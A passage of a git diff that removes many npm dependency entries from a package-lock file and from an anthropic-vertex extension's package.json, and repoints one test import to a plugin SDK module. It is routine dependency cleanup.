}, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/token-providers": { - "version": "3.1053.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.1053.0.tgz", - "integrity": "sha512-laSwHLYMMrXQRl2mFDXszF43m/F4pKWyGr7hCLfJmV8rn8c6CnI/hp/bf/Gn7gLcjz0SY4evd7SBpqtnIhzA/A==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/nested-clients": "^3.997.11", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/types": { - "version": "3.973.9", - "resolved": "https://registry.npmjs.org/@aws-sdk/types/-/types-3.973.9.tgz", - "integrity": "sha512-kuBfgQVdcz5Bmapc4A13YbpVw/pXkesfhetcFYwbntqas8sF41OHyd4o28+/TG2ZQdHBsv90Lsu5y6oitvYCdg==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/util-locate-window": { - "version": "3.965.5", - "resolved": "https://registry.npmjs.org/@aws-sdk/util-locate-window/-/util-locate-window-3.965.5.tgz", - "integrity": "sha512-WhlJNNINQB+9qtLtZJcpQdgZw3SCDCpXdUJP7cToGwHbCWCnRckGlc6Bx/OhWwIYFNAn+FIydY8SZ0QmVu3xTQ==", - "license": "Apache-2.0", - "dependencies": { - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/xml-builder": { - "version": "3.972.25", - "resolved": "https://registry.npmjs.org/@aws-sdk/xml-builder/-/xml-builder-3.972.25.tgz", - "integrity": "sha512-GH+Kjz4nPKWKHnsiQpnhP1MJdTGIcK4rAka6tzakgjjUkVgNsmPeEbbRAf09SzS1hjGu6duGHCBsxYke0BhHjQ==", - "license": "Apache-2.0", - "dependencies": { - "@nodable/entities": "2.1.0", - "@smithy/types": "^4.14.2", - "fast-xml-parser": "5.7.3", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws/lambda-invoke-store": { - "version": "0.2.4", - "resolved": "https://registry.npmjs.org/@aws/lambda-invoke-store/-/lambda-invoke-store-0.2.4.tgz", - "integrity": "sha512-iY8yvjE0y651BixKNPgmv1WrQc+GZ142sb0z4gYnChDDY2YqI4P/jsSopBWrKfAt7LOJAkOXt7rC/hms+WclQQ==", - "license": "Apache-2.0", - "engines": { - "node": ">=18.0.0" - } - }, "node_modules/@babel/runtime": { "version": "7.29.2", "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.2.tgz", @@ -459,296 +51,12 @@ "node": ">=6.9.0" } }, - "node_modules/@earendil-works/pi-agent-core": { - "version": "0.75.5", - "resolved": "https://registry.npmjs.org/@earendil-works/pi-agent-core/-/pi-agent-core-0.75.5.tgz", - "integrity": "sha512-LHygOgsW2pgXKb3IkXkOAeZPovHr9VF+EixgXVsDNuB4jmhEOXgshy/zksZ7slkUAx10OQ9W1Ed/2jsnhd1NqA==", - "license": "MIT", - "dependencies": { - "@earendil-works/pi-ai": "^0.75.5", - "ignore": "7.0.5", - "typebox": "1.1.38", - "yaml": "2.9.0" - }, - "engines": { - "node": ">=22.19.0" - } - }, - "node_modules/@earendil-works/pi-ai": { - "version": "0.75.5", - "resolved": "https://registry.npmjs.org/@earendil-works/pi-ai/-/pi-ai-0.75.5.tgz", - "integrity": "sha512-zf1F5kXk1pqZeFShXOqq9ibUk8QdtRoLCDPAjO+hj44e3EUs9/GFO2qnhTC5+JA2uwVCx+WCNe1PiCjlBYWm5w==", - "license": "MIT", - "dependencies": { - "@anthropic-ai/sdk": "0.91.1", - "@aws-sdk/client-bedrock-runtime": "3.1048.0", - "@google/genai": "1.52.0", - "@mistralai/mistralai": "2.2.1", - "@smithy/node-http-handler": "4.7.3", - "http-proxy-agent": "7.0.2", - "https-proxy-agent": "7.0.6", - "openai": "6.26.0", - "partial-json": "0.1.7", - "typebox": "1.1.38" - }, - "bin": { - "pi-ai": "dist/cli.js" - }, - "engines": { - "node": ">=22.19.0" - } - }, - "node_modules/@google/genai": { - "version": "1.52.0", - "resolved": "https://registry.npmjs.org/@google/genai/-/genai-1.52.0.tgz", - "integrity": "sha512-gwSvbpiN/17O9TbsqSsE/OzZcpv5Fo4RQjdngGgogtuB9RsyJ8ZHhX5KjHj1bp5N9snN2eK8LDGXSaWW2hof8Q==", - "hasInstallScript": true, - "license": "Apache-2.0", - "dependencies": { - "google-auth-library": "^10.3.0", - "p-retry": "^4.6.2", - "protobufjs": "^7.5.4", - "ws": "^8.18.0" - }, - "engines": { - "node": ">=20.0.0" - }, - "peerDependencies": { - "@modelcontextprotocol/sdk": "^1.25.2" - }, - "peerDependenciesMeta": { - "@modelcontextprotocol/sdk": { - "optional": true - } - } - }, - "node_modules/@google/genai/node_modules/gaxios": { - "version": "7.1.4", - "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-7.1.4.tgz", - "integrity": "sha512-bTIgTsM2bWn3XklZISBTQX7ZSddGW+IO3bMdGaemHZ3tbqExMENHLx6kKZ/KlejgrMtj8q7wBItt51yegqalrA==", - "license": "Apache-2.0", - "dependencies": { - "extend": "^3.0.2", - "https-proxy-agent": "^7.0.1", - "node-fetch": "^3.3.2" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/@google/genai/node_modules/gcp-metadata": { - "version": "8.1.2", - "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-8.1.2.tgz", - "integrity": "sha512-zV/5HKTfCeKWnxG0Dmrw51hEWFGfcF2xiXqcA3+J90WDuP0SvoiSO5ORvcBsifmx/FoIjgQN3oNOGaQ5PhLFkg==", - "license": "Apache-2.0", - "dependencies": { - "gaxios": "^7.0.0", - "google-logging-utils": "^1.0.0", - "json-bigint": "^1.0.0" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/@google/genai/node_modules/google-auth-library": { - "version": "10.6.2", - "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-10.6.2.tgz", - "integrity": "sha512-e27Z6EThmVNNvtYASwQxose/G57rkRuaRbQyxM2bvYLLX/GqWZ5chWq2EBoUchJbCc57eC9ArzO5wMsEmWftCw==", - "license": "Apache-2.0", - "dependencies": { - "base64-js": "^1.3.0", - "ecdsa-sig-formatter": "^1.0.11", - "gaxios": "^7.1.4", - "gcp-metadata": "8.1.2", - "google-logging-utils": "1.1.3", - "jws": "^4.0.0" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/@google/genai/node_modules/google-logging-utils": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-1.1.3.tgz", - "integrity": "sha512-eAmLkjDjAFCVXg7A1unxHsLf961m6y17QFqXqAXGj/gVkKFrEICfStRfwUlGNfeCEjNRa32JEWOUTlYXPyyKvA==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" - } - }, - "node_modules/@google/genai/node_modules/node-fetch": { - "version": "3.3.2", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-3.3.2.tgz", - "integrity": "sha512-dRB78srN/l6gqWulah9SrxeYnxeddIG30+GOqK/9OlLVyLg3HPnr6SqOWTWOXKRwC2eGYCkZ59NNuSgvSrpgOA==", - "license": "MIT", - "dependencies": { - "data-uri-to-buffer": "^4.0.0", - "fetch-blob": "^3.1.4", - "formdata-polyfill": "^4.0.10" - }, - "engines": { - "node": "^12.20.0 || ^14.13.1 || >=16.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/node-fetch" - } - }, - "node_modules/@mistralai/mistralai": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/@mistralai/mistralai/-/mistralai-2.2.1.tgz", - "integrity": "sha512-uKU8CZmL2RzYKmplsU01hii4p3pe4HqJefpWNRWXm1Tcm0Sm4xXfwSLIy4k7ZCPlbETCGcp69E7hZs+WOJ5itQ==", - "license": "Apache-2.0", - "dependencies": { - "ws": "^8.18.0", - "zod": "^3.25.0 || ^4.0.0", - "zod-to-json-schema": "^3.25.0" - } - }, - "node_modules/@nodable/entities": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/@nodable/entities/-/entities-2.1.0.tgz", - "integrity": "sha512-nyT7T3nbMyBI/lvr6L5TyWbFJAI9FTgVRakNoBqCD+PmID8DzFrrNdLLtHMwMszOtqZa8PAOV24ZqDnQrhQINA==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/nodable" - } - ], - "license": "MIT" - }, - "node_modules/@smithy/core": { - "version": "3.24.4", - "resolved": "https://registry.npmjs.org/@smithy/core/-/core-3.24.4.tgz", - "integrity": "sha512-3UNRKEyQyAgVgM0LGlerCLm+ChZWZ1GPfde+jBEW6bm6bSBGU1p0EbblaUV3unbhwvidjLA5Zs3sOs7mnZwvAw==", - "license": "Apache-2.0", - "dependencies": { - "@aws-crypto/crc32": "5.2.0", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/credential-provider-imds": { - "version": "4.3.4", - "resolved": "https://registry.npmjs.org/@smithy/credential-provider-imds/-/credential-provider-imds-4.3.4.tgz", - "integrity": "sha512-vKW0MEFRU4Y3MkVZUkpJm+g9qyPGLCXhc0YLggUdSdBB4g7IaSSsCE75P9rBXyWHrXY1UYSQUl8/DwsTR7QciA==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/core": "^3.24.4", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/fetch-http-handler": { - "version": "5.4.4", - "resolved": "https://registry.npmjs.org/@smithy/fetch-http-handler/-/fetch-http-handler-5.4.4.tgz", - "integrity": "sha512-qM7AUKI4G6d7lNgaZD3lA1tWSolh5r6gcixfTZAPstVURfjIbvreVTPz+994M0yC3HbX4YYhDRgr31Xy3XwWOQ==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/core": "^3.24.4", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/is-array-buffer": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-2.2.0.tgz", - "integrity": "sha512-GGP3O9QFD24uGeAXYUjwSTXARoqpZykHadOmA8G5vfJPK0/DC67qa//0qvqrJzL1xc8WQWX7/yc7fwudjPHPhA==", - "license": "Apache-2.0", - "dependencies": { - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/@smithy/node-http-handler": { - "version": "4.7.4", - "resolved": "https://registry.npmjs.org/@smithy/node-http-handler/-/node-http-handler-4.7.4.tgz", - "integrity": "sha512-HIeF+1vrDGzPkkv39Hj2vlHSXHY3p958jd/8ZnePIY6+ZOsQX8coyEUKO5yQu4r0bQIVsbpotVIrXXwyycMStQ==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/core": "^3.24.4", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/signature-v4": { - "version": "5.4.4", - "resolved": "https://registry.npmjs.org/@smithy/signature-v4/-/signature-v4-5.4.4.tgz", - "integrity": "sha512-e5UtkMvsatzBfbeBZjEOt0k0Z3BEsjTFL/n6fdO5vtBLe67tdy0dX7xw2DU7uZ3acwoHyeCqpU2Fzb7pxwHb6Q==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/core": "^3.24.4", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/types": { - "version": "4.14.2", - "resolved": "https://registry.npmjs.org/@smithy/types/-/types-4.14.2.tgz", - "integrity": "sha512-P+otAxbV4CqBybp7EkcJCrig63yE2E7PuNVOmilVMRcx/O+QDzGULTrKsq4DV13gSfak9ObPrWaHl/9bL5YcWw==", - "license": "Apache-2.0", - "dependencies": { - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/util-buffer-from": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-2.2.0.tgz", - "integrity": "sha512-IJdWBbTcMQ6DA0gdNhh/BwrLkDR+ADW5Kr1aZmd4k3DIF6ezMV4R2NIAmT08wQJ3yUK82thHWmC/TnK/wpMMIA==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/is-array-buffer": "^2.2.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/@smithy/util-utf8": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-2.3.0.tgz", - "integrity": "sha512-R8Rdn8Hy72KKcebgLiv8jQcQkXoLMOGGv5uI1/k0l+snqkOzQ1R0ChUBCxWMlBsFMekWjq0wRudIweFs7sKT5A==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/util-buffer-from": "^2.2.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=14.0.0" - } - }, "node_modules/@stablelib/base64": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/@stablelib/base64/-/base64-1.0.1.tgz", "integrity": "sha512-1bnPQqSxSuc3Ii6MhBysoWCg58j97aUjuCSZrGSmDxNqtytIi0k8utUenAwTZN4V5mXXYGsVUI9zeBqy+jBOSQ==", "license": "MIT" }, - "node_modules/@types/retry": { - "version": "0.12.0", - "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.0.tgz", - "integrity": "sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA==", - "license": "MIT" - }, "node_modules/agent-base": { "version": "7.1.4", "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz", @@ -787,27 +95,12 @@ "node": "*" } }, - "node_modules/bowser": { - "version": "2.14.1", - "resolved": "https://registry.npmjs.org/bowser/-/bowser-2.14.1.tgz", - "integrity": "sha512-tzPjzCxygAKWFOJP011oxFHs57HzIhOEracIgAePE4pqB3LikALKnSzUyU4MGs9/iCEUuHlAJTjTc5M+u7YEGg==", - "license": "MIT" - }, "node_modules/buffer-equal-constant-time": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/buffer-equal-constant-time/-/buffer-equal-constant-time-1.0.1.tgz", "integrity": "sha512-zRpUiDwd/xk6ADqPMATG8vc9VPrkck7T07OIx0gnjmJAnHnTVXNQG3vfvWNuiZIkwu9KrKdA1iJKfsfTVxE6NA==", "license": "BSD-3-Clause" }, - "node_modules/data-uri-to-buffer": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/data-uri-to-buffer/-/data-uri-to-buffer-4.0.1.tgz", - "integrity": "sha512-0R9ikRb668HB7QDxT1vkpuUBtqc53YyAwMwGeUFKRojY/NWKvdZ+9UYtRfGmhqNbRkTSVpMbmyhXipFFv2cb/A==", - "license": "MIT", - "engines": { - "node": ">= 12" - } - }, "node_modules/debug": { "version": "4.4.3", "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", @@ -846,78 +139,6 @@ "integrity": "sha512-n11RGP/lrWEFI/bWdygLxhI+pVeo1ZYIVwvvPkW7azl/rOy+F3HYRZ2K5zeE9mmkhQppyv9sQFx0JM9UabnpPQ==", "license": "Unlicense" }, - "node_modules/fast-xml-builder": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/fast-xml-builder/-/fast-xml-builder-1.2.0.tgz", - "integrity": "sha512-00aAWieqff+ZJhsXA4g1g7M8k+7AYoMUUHF+/zFb5U6Uv/P0Vl4QZo84/IcufzYalLuEj9928bXN9PbbFzMF0Q==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/NaturalIntelligence" - } - ], - "license": "MIT", - "dependencies": { - "path-expression-matcher": "^1.5.0", - "xml-naming": "^0.1.0" - } - }, - "node_modules/fast-xml-parser": { - "version": "5.7.0", - "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-5.7.0.tgz", - "integrity": "sha512-MTcrUoRQ1GSQ9iG3QJzBGquYYYeA7piZaJoIWbPFGbRn6Jj6z7xgoAyi4DrZX4y2ZIQQBF59gc/zmvvejjgoFQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/NaturalIntelligence" - } - ], - "license": "MIT", - "dependencies": { - "@nodable/entities": "^2.1.0", - "fast-xml-builder": "^1.1.5", - "path-expression-matcher": "^1.5.0", - "strnum": "^2.2.3" - }, - "bin": { - "fxparser": "src/cli/cli.js" - } - }, - "node_modules/fetch-blob": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/fetch-blob/-/fetch-blob-3.2.0.tgz", - "integrity": "sha512-7yAQpD2UMJzLi1Dqv7qFYnPbaPx7ZfFK6PiIxQ4PfkGPyNyl2Ugx+a/umUonmKqjhM4DnfbMvdX6otXq83soQQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/jimmywarting" - }, - { - "type": "paypal", - "url": "https://paypal.me/jimmywarting" - } - ], - "license": "MIT", - "dependencies": { - "node-domexception": "^1.0.0", - "web-streams-polyfill": "^3.0.3" - }, - "engines": { - "node": "^12.20 || >= 14.13" - } - }, - "node_modules/formdata-polyfill": { - "version": "4.0.10", - "resolved": "https://registry.npmjs.org/formdata-polyfill/-/formdata-polyfill-4.0.10.tgz", - "integrity": "sha512-buewHzMvYL29jdeQTVILecSaZKnt/RJWjoZCF5OW60Z67/GmSLBkOFM7qh1PI3zFNtJbaZL5eQu1vLfazOwj4g==", - "license": "MIT", - "dependencies": { - "fetch-blob": "^3.1.2" - }, - "engines": { - "node": ">=12.20.0" - } - }, "node_modules/gaxios": { "version": "6.7.1", "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-6.7.1.tgz", @@ -987,19 +208,6 @@ "node": ">=14.0.0" } }, - "node_modules/http-proxy-agent": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz", - "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==", - "license": "MIT", - "dependencies": { - "agent-base": "^7.1.0", - "debug": "^4.3.4" - }, - "engines": { - "node": ">= 14" - } - }, "node_modules/https-proxy-agent": { "version": "7.0.6", "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz", @@ -1013,15 +221,6 @@ "node": ">= 14" } }, - "node_modules/ignore": { - "version": "7.0.5", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.5.tgz", - "integrity": "sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg==", - "license": "MIT", - "engines": { - "node": ">= 4" - } - }, "node_modules/is-stream": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", @@ -1077,28 +276,12 @@ "safe-buffer": "^5.0.1" } }, - "node_modules/long": { - "version": "5.3.2", - "resolved": "https://registry.npmjs.org/long/-/long-5.3.2.tgz", - "integrity": "sha512-mNAgZ1GmyNhD7AuqnTG3/VQ26o760+ZYBPKjPvugO8+nLbYfX6TVpJPseBvopbdY+qpZ/lKUnmEc1LeZYS3QAA==", - "license": "Apache-2.0" - }, "node_modules/ms": { "version": "2.1.3", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", "license": "MIT" }, - "node_modules/node-domexception": { - "name": "@nolyfill/domexception", - "version": "1.0.28", - "resolved": "https://registry.npmjs.org/@nolyfill/domexception/-/domexception-1.0.28.tgz", - "integrity": "sha512-tlc/FcYIv5i8RYsl2iDil4A0gOihaas1R5jPcIC4Zw3GhjKsVilw90aHcVlhZPTBLGBzd379S+VcnsDjd9ChiA==", - "license": "MIT", - "engines": { - "node": ">=12.4.0" - } - }, "node_modules/node-fetch": { "version": "2.7.0", "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", @@ -1119,83 +302,6 @@ } } }, - "node_modules/openai": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/openai/-/openai-6.26.0.tgz", - "integrity": "sha512-zd23dbWTjiJ6sSAX6s0HrCZi41JwTA1bQVs0wLQPZ2/5o2gxOJA5wh7yOAUgwYybfhDXyhwlpeQf7Mlgx8EOCA==", - "license": "Apache-2.0", - "bin": { - "openai": "bin/cli" - }, - "peerDependencies": { - "ws": "^8.18.0", - "zod": "^3.25 || ^4.0" - }, - "peerDependenciesMeta": { - "ws": { - "optional": true - }, - "zod": { - "optional": true - } - } - }, - "node_modules/p-retry": { - "version": "4.6.2", - "resolved": "https://registry.npmjs.org/p-retry/-/p-retry-4.6.2.tgz", - "integrity": "sha512-312Id396EbJdvRONlngUx0NydfrIQ5lsYu0znKVUzVvArzEIt08V1qhtyESbGVd1FGX7UKtiFp5uwKZdM8wIuQ==", - "license": "MIT", - "dependencies": { - "@types/retry": "0.12.0", - "retry": "^0.13.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/partial-json": { - "version": "0.1.7", - "resolved": "https://registry.npmjs.org/partial-json/-/partial-json-0.1.7.tgz", - "integrity": "sha512-Njv/59hHaokb/hRUjce3Hdv12wd60MtM9Z5Olmn+nehe0QDAsRtRbJPvJ0Z91TusF0SuZRIvnM+S4l6EIP8leA==", - "license": "MIT" - }, - "node_modules/path-expression-matcher": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/path-expression-matcher/-/path-expression-matcher-1.5.0.tgz", - "integrity": "sha512-cbrerZV+6rvdQrrD+iGMcZFEiiSrbv9Tfdkvnusy6y0x0GKBXREFg/Y65GhIfm0tnLntThhzCnfKwp1WRjeCyQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/NaturalIntelligence" - } - ], - "license": "MIT", - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/protobufjs": { - "version": "8.4.0", - "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-8.4.0.tgz", - "integrity": "sha512-iriNhQ57SYA5Jbdi+41AyPdx6jPPkFO7DODzkOBmqFhgYn/JzX2HxgxYPY18eQAs3CP/AWqtPvkWn8rclRAxdQ==", - "hasInstallScript": true, - "license": "BSD-3-Clause", - "dependencies": { - "long": "^5.3.2" - }, - "engines": { - "node": ">=12.0.0" - } - }, - "node_modules/retry": { - "version": "0.13.1", - "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz", - "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==", - "license": "MIT", - "engines": { - "node": ">= 4" - } - }, "node_modules/safe-buffer": { "version": "5.2.1", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", @@ -1226,18 +332,6 @@ "fast-sha256": "^1.3.0" } }, - "node_modules/strnum": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/strnum/-/strnum-2.3.0.tgz", - "integrity": "sha512-ums3KNd42PGyx5xaoVTO1mjU1bH3NpY4vsrVlnv9PNGqQj8wd7rJ6nEypLrJ7z5vxK5RP0yMLo6J/Gsm62DI5Q==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/NaturalIntelligence" - } - ], - "license": "MIT" - }, "node_modules/tr46": { "version": "0.0.3", "resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz", @@ -1250,18 +344,6 @@ "integrity": "sha512-FPAhNPFMrkwz76P7cdjdmiShwMynZYN6SgOujD1urY4oNm80Ou9oMdmbR45LotcKOXoy7wSmHkRFE6Mxbrhefw==", "license": "MIT" }, - "node_modules/tslib": { - "version": "2.8.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", - "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", - "license": "0BSD" - }, - "node_modules/typebox": { - "version": "1.1.38", - "resolved": "https://registry.npmjs.org/typebox/-/typebox-1.1.38.tgz", - "integrity": "sha512-pZ0aQPmMmXoUvSbeuWf/Hzsc+avNw/Zd6VeE8CFgkVGWyuHPJvqeJJDeJqLve+K70LvjYIoleGcoJHPT17cWoA==", - "license": "MIT" - }, "node_modules/uuid": { "version": "14.0.0", "resolved": "https://registry.npmjs.org/uuid/-/uuid-14.0.0.tgz", @@ -1275,15 +357,6 @@ "uuid": "dist-node/bin/uuid" } }, - "node_modules/web-streams-polyfill": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/web-streams-polyfill/-/web-streams-polyfill-3.3.3.tgz", - "integrity": "sha512-d2JWLCivmZYTSIoge9MsgFCZrt571BikcWGYkjC1khllbTeDlGqZ2D8vD8E/lJa8WGWbb7Plm8/XJYV7IJHZZw==", - "license": "MIT", - "engines": { - "node": ">= 8" - } - }, "node_modules/webidl-conversions": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz", @@ -1299,75 +372,6 @@ "tr46": "~0.0.3", "webidl-conversions": "^3.0.0" } - }, - "node_modules/ws": { - "version": "8.21.0", - "resolved": "https://registry.npmjs.org/ws/-/ws-8.21.0.tgz", - "integrity": "sha512-Vsp28b7DRcimFQvrqu2Wek3z1iYxDCWqHYB8Qsnk/S4RfaCQzPGPyBNuVjJV3cd6UiKtUtp6sNM77gWvzcCH+g==", - "license": "MIT", - "engines": { - "node": ">=10.0.0" - }, - "peerDependencies": { - "bufferutil": "^4.0.1", - "utf-8-validate": ">=5.0.2" - }, - "peerDependenciesMeta": { - "bufferutil": { - "optional": true - }, - "utf-8-validate": { - "optional": true - } - } - }, - "node_modules/xml-naming": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/xml-naming/-/xml-naming-0.1.0.tgz", - "integrity": "sha512-k8KO9hrMyNk6tUWqUfkTEZbezRRpONVOzUTnc97VnCvyj6Tf9lyUR9EDAIeiVLv56jsMcoXEwjW8Kv5yPY52lw==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/NaturalIntelligence" - } - ], - "license": "MIT", - "engines": { - "node": ">=16.0.0" - } - }, - "node_modules/yaml": { - "version": "2.9.0", - "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.9.0.tgz", - "integrity": "sha512-2AvhNX3mb8zd6Zy7INTtSpl1F15HW6Wnqj0srWlkKLcpYl/gMIMJiyuGq2KeI2YFxUPjdlB+3Lc10seMLtL4cA==", - "license": "ISC", - "bin": { - "yaml": "bin.mjs" - }, - "engines": { - "node": ">= 14.6" - }, - "funding": { - "url": "https://github.com/sponsors/eemeli" - } - }, - "node_modules/zod": { - "version": "4.4.3", - "resolved": "https://registry.npmjs.org/zod/-/zod-4.4.3.tgz", - "integrity": "sha512-ytENFjIJFl2UwYglde2jchW2Hwm4GJFLDiSXWdTrJQBIN9Fcyp7n4DhxJEiWNAJMV1/BqWfW/kkg71UDcHJyTQ==", - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/colinhacks" - } - }, - "node_modules/zod-to-json-schema": { - "version": "3.25.2", - "resolved": "https://registry.npmjs.org/zod-to-json-schema/-/zod-to-json-schema-3.25.2.tgz", - "integrity": "sha512-O/PgfnpT1xKSDeQYSCfRI5Gy3hPf91mKVDuYLUHZJMiDFptvP41MSnWofm8dnCm0256ZNfZIM7DSzuSMAFnjHA==", - "license": "ISC", - "peerDependencies": { - "zod": "^3.25.28 || ^4" - } } } } diff --git a/extensions/anthropic-vertex/package.json b/extensions/anthropic-vertex/package.json index 28bd7622e29..75b9f00199e 100644 --- a/extensions/anthropic-vertex/package.json +++ b/extensions/anthropic-vertex/package.json @@ -8,9 +8,7 @@ }, "type": "module", "dependencies": { - "@anthropic-ai/vertex-sdk": "0.16.1", - "@earendil-works/pi-agent-core": "0.75.5", - "@earendil-works/pi-ai": "0.75.5" + "@anthropic-ai/vertex-sdk": "0.16.1" }, "devDependencies": { "@openclaw/plugin-sdk": "workspace:*" diff --git a/extensions/anthropic-vertex/stream-runtime.test.ts b/extensions/anthropic-vertex/stream-runtime.test.ts index 0a0290848f7..193177ac9af 100644 --- a/extensions/anthropic-vertex/stream-runtime.test.ts +++ b/extensions/anthropic-vertex/stream-runtime.test.ts @@ -1,4 +1,4 @@ -import { createAssistantMessageEventStream, type Model } from "@earendil-works/pi-ai"; +import { createAssistantMessageEventStream, type Model } from "openclaw/plugin-sdk/llm"; import { beforeAll, describe, expect, it, vi } from "vitest"; import type { AnthropicVertexStreamDeps } from "./stream-runtime.js"; diff --git a/extensions/anthropic-vertex/stream-runtime.ts b/extensions/anthropic-vertex/stream-runtime.ts index 2b2354dd748..04d6be6b290 100644 --- a/extensions/anthropic-vertex/stream-runtime.ts +++ b/extensions/anthropic-vertex/stream-runtime.ts @@ -1,17 +1,24 @@ import { AnthropicVertex as AnthropicVertexSdk } from 